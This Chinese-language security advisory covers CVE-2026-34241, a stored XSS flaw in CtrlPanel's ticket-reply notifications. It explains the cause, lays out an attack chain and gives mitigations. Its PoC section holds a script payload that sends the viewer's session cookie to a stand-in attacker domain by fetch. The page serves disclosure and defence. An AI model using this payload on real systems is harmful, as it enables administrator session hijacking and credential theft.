IPBUF安全漏洞报告
English
CVE-2026-34241 CVSS 8.7 高危

CVE-2026-34241 CtrlPanel存储型XSS漏洞

披露日期: 2026-05-19

漏洞信息

漏洞编号
CVE-2026-34241
漏洞类型
存储型跨站脚本攻击 (Stored XSS)
CVSS评分
8.7 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
CtrlPanel

相关标签

存储型XSSCtrlPanelWeb安全权限提升CVE-2026-34241

漏洞概述

CtrlPanel是面向托管服务商的开源计费软件。在1.1.1及更早版本中,其工单回复通知系统存在存储型XSS漏洞。由于未对回复内容进行过滤,恶意脚本被直接存储并在接收者浏览器中未转义渲染。攻击者可利用此漏洞劫持会话、窃取凭证并进行权限提升。

技术细节

该漏洞核心在于CtrlPanel工单通知系统的输入验证机制失效。具体而言,当用户或管理员提交工单回复时,系统未对变量$newmessage进行安全过滤,即将其直接存入数据库的通知负载中。当目标用户(如管理员)收到通知时,应用层使用Laravel Blade模板引擎的{!! !!}语法直接输出该变量,导致HTML/JavaScript代码在受害者浏览器中执行。这一过程涉及App\Notifications\Ticket\Admin\AdminReplyNotification等多个关键类。攻击者只需拥有低权限账号,即可通过构造恶意载荷,在管理员查看通知的瞬间劫持会话,执行凭证窃取或伪造请求,从而完全控制面板。

攻击链分析

STEP 1
1. 漏洞利用准备
攻击者注册或登录一个低权限的普通用户账号。
STEP 2
2. 注入恶意载荷
攻击者创建一个新的工单或在现有工单中回复,在消息内容字段中输入恶意的JavaScript代码(如XSS Payload)。
STEP 3
3. 存储未过滤数据
CtrlPanel后端接收到请求,未对$newmessage变量进行适当的净化处理,直接将包含恶意脚本的内容存储到数据库的通知表中。
STEP 4
4. 触发通知渲染
系统生成工单回复通知,目标管理员在后台查看通知列表或详情。
STEP 5
5. 执行恶意代码
前端页面使用Blade模板的{!! !!}语法渲染通知内容,导致恶意脚本在管理员浏览器的上下文中执行。
STEP 6
6. 攻击者获利
恶意脚本窃取管理员的Session Cookie或凭证,并将其发送给攻击者,攻击者利用该凭证劫持管理员会话,获取系统最高权限。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- PoC for CVE-2026-34241: Stored XSS in Ticket Reply --> <!-- Attacker inputs this payload in the ticket reply message body --> <script> // Example: Steal session cookie and send to attacker server var payload = document.cookie; fetch('https://attacker-controlled-domain.com/log?key=' + encodeURIComponent(payload), { method: 'GET', mode: 'no-cors' }); // Example: Perform action as admin (CSRF-like behavior within XSS context) // alert('XSS Executed in Admin Context'); </script>

影响范围

CtrlPanel <= 1.1.1

防御指南

临时缓解措施
如果无法立即升级,建议临时禁用工单通知功能,或配置Web应用防火墙(WAF)规则,拦截工单回复中包含<script>标签及常见JavaScript事件处理字符的请求,防止恶意脚本被存储。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表